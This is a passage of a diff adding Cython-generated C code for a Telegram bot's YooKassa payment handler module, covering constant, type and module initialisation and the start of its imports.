<<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__32 = PyTuple_Pack(7, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard, __pyx_n_s_e); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__32); + __Pyx_GIVEREF(__pyx_tuple__32); + __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_custom_amount_input, 233, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_400 = PyInt_FromLong(400); if (unlikely(!__pyx_int_400)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_500 = PyInt_FromLong(500); if (unlikely(!__pyx_int_500)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa)) __PYX_ERR(0, 43, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 101, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)) __PYX_ERR(0, 174, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook) < 0) __PYX_ERR(0, 174, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)) __PYX_ERR(0, 218, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 218, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)) __PYX_ERR(0, 233, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 233, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_yookassa_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_yookassa_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "yookassa_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC inityookassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC inityookassa_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_yookassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_yookassa_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_yookassa_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'yookassa_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("yookassa_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "yookassa_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_yookassa_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__yookassa_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.yookassa_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.yookassa_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/yookassa_pay.py":1 + * import uuid # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_uuid, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_uuid, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":2 + * import uuid + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 2, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":4 + * from typing import Any + * + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_F)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Router)) __PYX_ERR(0, 4, 